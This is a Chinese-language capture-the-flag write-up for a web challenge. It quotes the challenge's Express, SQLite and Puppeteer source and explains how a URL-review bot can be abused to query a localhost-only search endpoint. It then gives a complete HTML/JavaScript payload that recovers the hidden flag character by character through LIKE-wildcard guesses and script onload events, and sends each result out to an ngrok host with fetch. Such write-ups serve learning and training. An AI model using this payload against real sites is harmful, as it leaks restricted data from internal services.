# 信息收集

源码 down 下来就开始审阅呗,全是 js。比较重要的就是 /route/index.jsdatabase.js 以及 bot.js


/route/index.js

const bot             = require('../bot');
const path            = require('path');
const express         = require('express');
const router          = express.Router();
const response = data => ({ message: data });
const isLocalhost = req => ((req.ip == '127.0.0.1' && req.headers.host == '127.0.0.1:1337') ? 0 : 1);
let db;
router.get('/', (req, res) => {
  return res.sendFile(path.resolve('views/index.html'));
});
router.get('/entries', (req, res) => {
  return res.sendFile(path.resolve('views/entries.html'));
});
router.get('/api/entries', (req, res) => {
  return db.listEntries(isLocalhost(req))
    .then(entries => {
    res.json(entries);
  })
    .catch(() => res.send(response('Something went wrong!')));
});
router.post('/api/entries', (req, res) => {
  const { url } = req.body;
  if (url) {
    uregex = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/
    if (url.match(uregex)) {
      return bot.visitPage(url)
        .then(() => res.send(response('Your submission is now pending review!')))
        .catch(() => res.send(response('Something went wrong! Please try again!')))
    }
    return res.status(403).json(response('Please submit a valid URL!'));
  }
  return res.status(403).json(response('Missing required parameters!'));
});
router.get('/api/entries/search', (req, res) => {
  if(req.query.q) {
    const query = `${req.query.q}%`;
    return db.getEntry(query, isLocalhost(req))
      .then(entries => {
      if(entries.length == 0) return res.status(404).send(response('Your search did not yield any results!'));
      res.json(entries);
    })
      .catch(() => res.send(response('Something went wrong! Please try again!')));
  }
  return res.status(403).json(response('Missing required parameters!'));
});
module.exports = database => {
  db = database;
  return router;
};

database.js

const sqlite = require('sqlite-async');
class Database {
    constructor(db_file) {
        this.db_file = db_file;
        this.db = undefined;
    }
    
    async connect() {
        this.db = await sqlite.open(this.db_file);
    }
    async migrate() {
        return this.db.exec(`
            PRAGMA case_sensitive_like=ON; 
            DROP TABLE IF EXISTS userEntries;
            CREATE TABLE IF NOT EXISTS userEntries (
                id          INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
                title       VARCHAR(255) NOT NULL UNIQUE,
                url         VARCHAR(255) NOT NULL,
                approved    BOOLEAN NOT NULL
            );
            INSERT INTO userEntries (title, url, approved) VALUES ("Back The Hox :: Cyber Catastrophe Propaganda CTF against Aliens", "https://ctf.backthehox.ew/ctf/82", 1);
            INSERT INTO userEntries (title, url, approved) VALUES ("Drunk Alien Song | Patlamaya Devam (official video)", "https://www.youtune.com/watch?v=jPPT7TcFmAk", 1);
            INSERT INTO userEntries (title, url, approved) VALUES ("Mars Attacks! Earth is invaded by Martians with unbeatable weapons and a cruel sense of humor.", "https://www.imbd.com/title/tt0116996/", 1);
            INSERT INTO userEntries (title, url, approved) VALUES ("Professor Steven Rolling fears aliens could ‘plunder, conquer and colonise’ Earth if we contact them", "https://www.thebun.co.uk/tech/4119382/professor-steven-rolling-fears-aliens-could-plunder-conquer-and-colonise-earth-if-we-contact-them/", 1);
            INSERT INTO userEntries (title, url, approved) VALUES ("HTB{f4k3_fl4g_f0r_t3st1ng}","https://app.backthehox.ew/users/107", 0);
        `);
    }
    async listEntries(approved=1) {
        return new Promise(async (resolve, reject) => {
            try {
                let stmt = await this.db.prepare("SELECT * FROM userEntries WHERE approved = ?");
                resolve(await stmt.all(approved));
            } catch(e) {
                console.log(e);
                reject(e);
            }
        });
    }
    async getEntry(query, approved=1) {
        return new Promise(async (resolve, reject) => {
            try {
                let stmt = await this.db.prepare("SELECT * FROM userEntries WHERE title LIKE ? AND approved = ?");
                resolve(await stmt.all(query, approved));
            } catch(e) {
                console.log(e);
                reject(e);
            }
        });
    }

这看到了 flag 存在这个数据库里

不过要求请求 IP 是本地,否则就会返回 403

同时给了请求地址 /api/entries/search

查过资料知道这个是个 SSRF,让服务器通过远程访问到自己服务期上执行 js,然后把 flag 反馈给记录服务期

bot.js

const puppeteer = require('puppeteer');
const browser_options = {
        headless: true,
        args: [
                '--no-sandbox',
                '--disable-background-networking',
                '--disable-default-apps',
                '--disable-extensions',
                '--disable-gpu',
                '--disable-sync',
                '--disable-translate',
                '--hide-scrollbars',
                '--metrics-recording-only',
                '--mute-audio',
                '--no-first-run',
                '--safebrowsing-disable-auto-update',
                '--js-flags=--noexpose_wasm,--jitless' // yoinking from strellic :sice:
        ]
};
const visitPage = async url => {
        const browser = await puppeteer.launch(browser_options);
        let context = await browser.createIncognitoBrowserContext();
        let page = await context.newPage();
        await page.goto(url, {
                waitUntil: 'networkidle2'
        });
        await page.waitForTimeout(7000);
        await browser.close();
};
module.exports = { visitPage };

这里面 ``visitPage 是用 puppeteer` 将目标页面载入到本地,从而构成了 SSRF

# 构造攻击


Payload:

<html>
<!--  
    javascript to retrieve web_abusehumandb flag using blind SQL searches
    Serve this page up using `python3 -m http.server` and `ngrok http 8000`
-->
<head>
    <script>
        // I used trial and error to get length of flag, the number of underscores is equal to the length of the flag
        // since underscore is a wildcard in SQLite we need to make some assumptions here.
        var flag = '_____________________________';
        // reduced character set, flags usually dont use a full character set, be careful of wildcards
        // I havent found a way to escape them
        const chars = '@!0123456789{}abcdefghijklmnopqrstuvwxyzHTB_';
        function replaceChar(string, index, char) {
            return string.substr(0, index) + char + string.substr(index + 1);
        }
        function sendFlag() {
            // replace with the unique part of the ngrok address
            fetch(`http://<unique>.ngrok.io/?char=${flag}`);
        }
        function loadScript(guess, char) {
            return new Promise((res, rej) => {
                // script will load a text file
                // onload is triggered if a 200 status is returned when loading a script, this can be used for blind exfil
                newElem = document.createElement('script');
                newElem.src = "http://127.0.0.1:1337/api/entries/search?q=" + encodeURIComponent(guess);
                newElem.id = 'pooscript';  // cleanup, because I am nice.
                newElem.onload = () => { char == '_' ? rej() : res(char) }; // assume SQL wildcard is underscore in flag
                document.head.appendChild(newElem);
            })
        }
        function getChar(index) {
            for (var i = 0; i < chars.length; i++) {
                loadScript(replaceChar(flag, index, chars[i]), chars[i]).then((res) => {
                    flag = replaceChar(flag, index, res);
                    sendFlag();
                });
                document.querySelector('#pooscript').remove(); // cleanup, because I am nice.
            }
        }
        function run() {
            for (var j = 0; j < flag.length; j++)
            getChar(j);
        }
        
        run();
    </script>
</head>
</html>


flag: HTB{5w33t_ali3ndr3n_0f_min3!}